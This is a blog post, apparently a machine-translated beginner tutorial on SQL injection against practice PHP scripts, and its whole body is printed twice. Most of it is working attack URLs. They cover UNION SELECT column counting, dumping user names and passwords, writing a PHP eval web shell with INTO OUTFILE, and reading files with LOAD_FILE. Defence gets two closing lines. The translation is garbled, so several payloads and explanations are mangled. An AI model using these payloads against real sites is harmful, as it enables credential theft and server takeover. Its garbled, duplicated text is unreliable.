Greetings to you, the reader. Lately, I am fond of Web-safe, and in some degree related to this work. Because I'm getting more and more began to notice themes in various forums, with a request to show how it works, I decided to write an article. Article will be designed for those who are not faced with similar, but would like to learn. In a network with respect to a number of articles on this subject, but for beginners they are a bit complicated. I will try to describe everything in plain language and detailed examples.
foreword
In order to understand this article, you do not need special knowledge of SQL-language, but at least having a good brain and a bit of patience - to remember.
I believe that one reading the article will not be enough, because we need are living examples - as it is known practice in the process of remembering, there is no excess. Therefore, we write the vulnerable scripts and train them.
What is SQL injection?
Simply put - it is an attack on the database, which will perform an action that is not to the creator of the script. Life example:
Father, mother wrote in a note that she gave Vasya $ 100 and put it on the table. Reworking it into a comic SQL language, we get:
Get it out of the bag 100 rubles and GIVE THEM Vase
That's how bad my father wrote a note (clumsy handwriting), and left it on the table, saw her brother Vasey - Peter. Peter, being a hacker, it has added "OR Pete" and received such a request:
Get it out of the bag 100 rubles and GIVE THEM OR Pete Vase
Mom read the note, she decided that she gave money Basil yesterday and gave $ 100 to Peter. Here is a simple example of SQL injection of life :) Do not filtering data (Mom barely make out the handwriting), Peter made a profit.
training
For practice, you will need to archive the original script of this article. Download it and unzip on the server. Also import the database and set the data in the file cfg.php
Search SQL injection
As you know, there is an injection of the incoming data, which are not filtered. The most common mistake - this is not filtering the transmitted ID. Well, roughly speaking substitute in all fields quotes. Whether it's a GET / POST request, and even Cookie!
Numeric input parameter
For practice, we need a script index1.php. As I said above, substitute quotes in news ID.
sqlinj / index1.php? id = 1 '
Because we request does not have a filter:
$ id = $ _GET ['id'];
$ query = "SELECT * FROM news WHERE id = $ id";
The script will understand it as
SELECT * FROM news WHERE id = 1 '
And we will give an error:
Warning: mysql_fetch_array () expects parameter 1 to be resource, boolean given in C: \ WebServ \ domains \ sqlinj \ index1.php on line 16
If the error is not issued - may be the following reasons:
1.SQL injection is not here - Filter quotes, or just standing in the conversion of (int)
2.Otklyuchen error output.
If, however, the error brought - Hooray! We found the first type of SQL injection - Numeric input parameter.
String input parameter
Requests will send to index2.php. In this file, the query is:
$ user = $ _GET ['user'];
$ query = "SELECT * FROM news WHERE user = '$ user'";
Here we make a sample news on behalf of the user, and once again - not we filter.
Again, send a request with the quote:
sqlinj / index2.php? user = AlexanderPHP '
Generates an error. Ok! So there is vulnerability. For a start we have enough - get down to practice.
Getting to action
A bit of theory
I guess you can not wait to retrieve something from this, except for errors. To begin Understand that the sign "-" is a comment in the language of SQL.
CAUTION Before and after it must be spaces. In the URL, they are transmitted as 20%
Everything that comes after the comment - will be discarded That is the query:
SELECT * FROM news WHERE user = 'AlexanderPHP' - habrahabra
Executed successfully. You can try this on a script index2.php, sending the query:
http: //sqlinj/index2.php? user = AlexanderPHP '% 20 -% 20habrahabr
Learn parameter UNION. In SQL keyword UNION is used to combine the results of two SQL-queries into a single table. That is, in order to get something we need from the other table.
Benefit from the
If the "Numeric", the query does not need to send us a quote and naturally put a comment at the end. Let's go back to the script index1.php.
Referring to the script http: //sqlinj/index1.php? Id = 1 UNION SELECT 1. Query the database we get like this:
SELECT * FROM news WHERE id = 1 UNION SELECT 1
And he gave us an error, because to work with surfeiting query, we require the same number of fields.
Because we can not influence their number in the first query, we need to pick up their number in the second, that it is equal to the first one.
Select the number of fields
Selection fields is very simple, just send such requests:
http: //sqlinj/index1.php? id = 1 UNION SELECT 1,2
Error ...
http: //sqlinj/index1.php? id = 1 UNION SELECT 1,2,3
Again a mistake!
http: //sqlinj/index1.php? id = 1 UNION SELECT 1,2,3,4,5
No error! Hence the number of columns is equal to 5.
GROUP BY
Often it happens that the fields can be 20 or 40 or even 60. To us every time not to touch them, use the GROUP BY
If the request
http: //sqlinj/index1.php? id = 1 GROUP BY 2
did not give the error, then the number of fields is greater than 2. Try:
http: //sqlinj/index1.php? id = 1 GROUP BY 8
Op, we see an error, then number of fields less than 8.
If the GROUP BY 4 no error, and when GROUP BY 6 - error mean number of fields is equal to 5
Definition of output columns
To the first query we do not output enough to substitute a non-existent ID, for example:
http: //sqlinj/index1.php? id = -1 UNION SELECT 1,2,3,4,5
image
By this action, we determined which columns are displayed on this page. Now, to replace these figures to the right information, you can continue the request.
output
Suppose we know that there is still a users table in which there are fields id, name and pass.
We need to get information about the user with ID = 1
Therefore construct a query:
http: //sqlinj/index1.php? id = -1 UNION SELECT 1,2,3,4,5 FROM users WHERE id = 1
The script also continues to output
image
To do this, we substitute the name of the field, for a place of numbers 1 and 3
http: //sqlinj/index1.php? id = -1 UNION SELECT name, 2, pass, 4,5 FROM users WHERE id = 1
Got what - what was required!
image
For "string input parameter," as in the script index2.php need to add quote at the beginning and at the end of the comment character. example:
http: //sqlinj/index2.php? user = -1 'UNION SELECT name, 2, pass, 4,5 FROM users WHERE id = 1 - 20%
Read / Write File
To read and write files in the user database must be right FILE_PRIV.
recording Files
In fact, everything is very simple. To write the file, we will use the OUTFILE.
http: //sqlinj/index2.php? user = -1 'UNION SELECT 1,2,3,4,5 INTO OUTFILE' 1.php '-% 20
Ok, we have a file record. Thus, we can fill a mini-shell:
http: //sqlinj/index2.php? user = -1 'UNION SELECT 1,' <? php eval ($ _ GET [1])?> ', 3,4,5 INTO OUTFILE' 1.php '-% 20
reading files
Reading files made even easier than writing. Simply use the LOAD_FILE, for a place in that field, we choose:
http: //sqlinj/index2.php? user = -1 'UNION SELECT 1, LOAD_FILE (' 1.php '), 3,4,5 -% 20
Thus, we read the previous recorded file.
ways of protection
Protect even easier than using vulnerability. Just filter the data. If you pass the number, use
$ id = (int) $ _GET ['id'];
As suggested by malroc. Or advocate the use of PDO prepared statements.
foreword
In order to understand this article, you do not need special knowledge of SQL-language, but at least having a good brain and a bit of patience - to remember.
I believe that one reading the article will not be enough, because we need are living examples - as it is known practice in the process of remembering, there is no excess. Therefore, we write the vulnerable scripts and train them.
What is SQL injection?
Simply put - it is an attack on the database, which will perform an action that is not to the creator of the script. Life example:
Father, mother wrote in a note that she gave Vasya $ 100 and put it on the table. Reworking it into a comic SQL language, we get:
Get it out of the bag 100 rubles and GIVE THEM Vase
That's how bad my father wrote a note (clumsy handwriting), and left it on the table, saw her brother Vasey - Peter. Peter, being a hacker, it has added "OR Pete" and received such a request:
Get it out of the bag 100 rubles and GIVE THEM OR Pete Vase
Mom read the note, she decided that she gave money Basil yesterday and gave $ 100 to Peter. Here is a simple example of SQL injection of life :) Do not filtering data (Mom barely make out the handwriting), Peter made a profit.
training
For practice, you will need to archive the original script of this article. Download it and unzip on the server. Also import the database and set the data in the file cfg.php
Search SQL injection
As you know, there is an injection of the incoming data, which are not filtered. The most common mistake - this is not filtering the transmitted ID. Well, roughly speaking substitute in all fields quotes. Whether it's a GET / POST request, and even Cookie!
Numeric input parameter
For practice, we need a script index1.php. As I said above, substitute quotes in news ID.
sqlinj / index1.php? id = 1 '
Because we request does not have a filter:
$ id = $ _GET ['id'];
$ query = "SELECT * FROM news WHERE id = $ id";
The script will understand it as
SELECT * FROM news WHERE id = 1 '
And we will give an error:
Warning: mysql_fetch_array () expects parameter 1 to be resource, boolean given in C: \ WebServ \ domains \ sqlinj \ index1.php on line 16
If the error is not issued - may be the following reasons:
1.SQL injection is not here - Filter quotes, or just standing in the conversion of (int)
2.Otklyuchen error output.
If, however, the error brought - Hooray! We found the first type of SQL injection - Numeric input parameter.
String input parameter
Requests will send to index2.php. In this file, the query is:
$ user = $ _GET ['user'];
$ query = "SELECT * FROM news WHERE user = '$ user'";
Here we make a sample news on behalf of the user, and once again - not we filter.
Again, send a request with the quote:
sqlinj / index2.php? user = AlexanderPHP '
Generates an error. Ok! So there is vulnerability. For a start we have enough - get down to practice.
Getting to action
A bit of theory
I guess you can not wait to retrieve something from this, except for errors. To begin Understand that the sign "-" is a comment in the language of SQL.
CAUTION Before and after it must be spaces. In the URL, they are transmitted as 20%
Everything that comes after the comment - will be discarded That is the query:
SELECT * FROM news WHERE user = 'AlexanderPHP' - habrahabra
Executed successfully. You can try this on a script index2.php, sending the query:
http: //sqlinj/index2.php? user = AlexanderPHP '% 20 -% 20habrahabr
Learn parameter UNION. In SQL keyword UNION is used to combine the results of two SQL-queries into a single table. That is, in order to get something we need from the other table.
Benefit from the
If the "Numeric", the query does not need to send us a quote and naturally put a comment at the end. Let's go back to the script index1.php.
Referring to the script http: //sqlinj/index1.php? Id = 1 UNION SELECT 1. Query the database we get like this:
SELECT * FROM news WHERE id = 1 UNION SELECT 1
And he gave us an error, because to work with surfeiting query, we require the same number of fields.
Because we can not influence their number in the first query, we need to pick up their number in the second, that it is equal to the first one.
Select the number of fields
Selection fields is very simple, just send such requests:
http: //sqlinj/index1.php? id = 1 UNION SELECT 1,2
Error ...
http: //sqlinj/index1.php? id = 1 UNION SELECT 1,2,3
Again a mistake!
http: //sqlinj/index1.php? id = 1 UNION SELECT 1,2,3,4,5
No error! Hence the number of columns is equal to 5.
GROUP BY
Often it happens that the fields can be 20 or 40 or even 60. To us every time not to touch them, use the GROUP BY
If the request
http: //sqlinj/index1.php? id = 1 GROUP BY 2
did not give the error, then the number of fields is greater than 2. Try:
http: //sqlinj/index1.php? id = 1 GROUP BY 8
Op, we see an error, then number of fields less than 8.
If the GROUP BY 4 no error, and when GROUP BY 6 - error mean number of fields is equal to 5
Definition of output columns
To the first query we do not output enough to substitute a non-existent ID, for example:
http: //sqlinj/index1.php? id = -1 UNION SELECT 1,2,3,4,5
image
By this action, we determined which columns are displayed on this page. Now, to replace these figures to the right information, you can continue the request.
output
Suppose we know that there is still a users table in which there are fields id, name and pass.
We need to get information about the user with ID = 1
Therefore construct a query:
http: //sqlinj/index1.php? id = -1 UNION SELECT 1,2,3,4,5 FROM users WHERE id = 1
The script also continues to output
image
To do this, we substitute the name of the field, for a place of numbers 1 and 3
http: //sqlinj/index1.php? id = -1 UNION SELECT name, 2, pass, 4,5 FROM users WHERE id = 1
Got what - what was required!
image
For "string input parameter," as in the script index2.php need to add quote at the beginning and at the end of the comment character. example:
http: //sqlinj/index2.php? user = -1 'UNION SELECT name, 2, pass, 4,5 FROM users WHERE id = 1 - 20%
Read / Write File
To read and write files in the user database must be right FILE_PRIV.
recording Files
In fact, everything is very simple. To write the file, we will use the OUTFILE.
http: //sqlinj/index2.php? user = -1 'UNION SELECT 1,2,3,4,5 INTO OUTFILE' 1.php '-% 20
Ok, we have a file record. Thus, we can fill a mini-shell:
http: //sqlinj/index2.php? user = -1 'UNION SELECT 1,' <? php eval ($ _ GET [1])?> ', 3,4,5 INTO OUTFILE' 1.php '-% 20
reading files
Reading files made even easier than writing. Simply use the LOAD_FILE, for a place in that field, we choose:
http: //sqlinj/index2.php? user = -1 'UNION SELECT 1, LOAD_FILE (' 1.php '), 3,4,5 -% 20
Thus, we read the previous recorded file.
ways of protection
Protect even easier than using vulnerability. Just filter the data. If you pass the number, use
$ id = (int) $ _GET ['id'];
As suggested by malroc. Or advocate the use of PDO prepared statements.
No comments:
Post a Comment